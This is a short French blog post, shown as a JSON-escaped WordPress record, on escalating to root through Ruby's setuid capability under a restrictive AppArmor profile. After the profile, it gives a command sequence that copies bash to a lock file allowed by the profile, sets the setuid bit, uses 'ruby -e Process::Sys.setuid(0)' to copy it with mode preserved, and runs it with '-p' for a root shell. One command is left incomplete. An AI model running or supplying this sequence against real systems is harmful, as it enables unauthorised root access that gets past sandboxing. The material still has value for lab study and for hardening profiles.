On se rend compte avec linPEAS que Ruby a les capabilities setuid<\/p>\n
On peut facilement obtenir le compte de l’administrateur.<\/p>\n
Si Ruby a \u00e9t\u00e9 prot\u00e9g\u00e9 avec apparmor pour ne pouvoir ex\u00e9cuter que quelques utilitaires et avoir acc\u00e8s qu’\u00e0 certains fichiers<\/p>\n
#include <tunables\/global>\n\n\/usr\/bin\/ruby2.5 {\n #include <abstractions\/base>\n\n capability setuid,\n\n deny owner \/etc\/nsswitch.conf r,\n deny \/root\/* rwx,\n deny \/etc\/shadow rwx,\n\n \/etc\/passwd r,\n \/bin\/cat mrix,\n \/bin\/cp mrix,\n \/bin\/ls mrix,\n \/usr\/bin\/whoami mrix,\n \/tmp\/.X[0-9]*-lock rw,\n \/lib\/x86_64-linux-gnu\/ld-*.so mr,\n \/usr\/bin\/ruby2.5 mr,\n \/usr\/share\/rubygems-integration\/all\/specifications\/ r,\n \/usr\/share\/rubygems-integration\/all\/specifications\/did_you_mean-1.2.0.gemspec r,\n \/{usr\/,}lib{,32,64}\/** mr,\n\n}\n<\/code><\/pre><\/p>\nNous avons acc\u00e8s aux commandes cat, cp et ls comme administrateur et au fichier \/tmp\/.X1-lock, \/tmp\/.X2-lock, etc…<\/p>\n
\ncp \/bin\/bash\ncd \/tmp\nchmod +s \/tmp\/.X1-lock\nruby -e 'Process::Sys.setuid(0); exec "cp --preserve=mode \/tmp\/.X1-lock \/tmp\/.X2-lock"'\n.\/.X2-lock -p\n<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"On se rend compte avec linPEAS que Ruby a les capabilities setuid On peut facilement obtenir le compte de l’administrateur. Si Ruby a \u00e9t\u00e9 prot\u00e9g\u00e9 avec apparmor pour ne pouvoir ex\u00e9cuter que quelques utilitaires et avoir acc\u00e8s qu’\u00e0 certains fichiers #include <tunables\/global> \/usr\/bin\/ruby2.5 { #include <abstractions\/base> capability setuid, deny owner \/etc\/nsswitch.conf r, deny \/root\/* rwx, deny \/etc\/shadow rwx, \/etc\/passwd r, \/bin\/cat mrix, \/bin\/cp mrix, \/bin\/ls mrix, \/usr\/bin\/whoami mrix, \/tmp\/.X*-lock rw, \/lib\/x86_64-linux-gnu\/ld-*.so mr, \/usr\/bin\/ruby2.5 mr, \/usr\/share\/rubygems-integration\/all\/specifications\/ r, \/usr\/share\/rubygems-integration\/all\/specifications\/did_you_mean-1.2.0.gemspec r, \/{usr\/,}lib{,32,64}\/** mr, } Nous avons acc\u00e8s aux commandes cat, cp et ls comme administrateur et au fichier \/tmp\/.X1-lock, \/tmp\/.X2-lock, etc… cp \/bin\/bash <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31,22,30],"tags":[],"class_list":["post-741","post","type-post","status-publish","format-standard","hentry","category-apparmor","category-exploit","category-ruby"],"yoast_head":"\n
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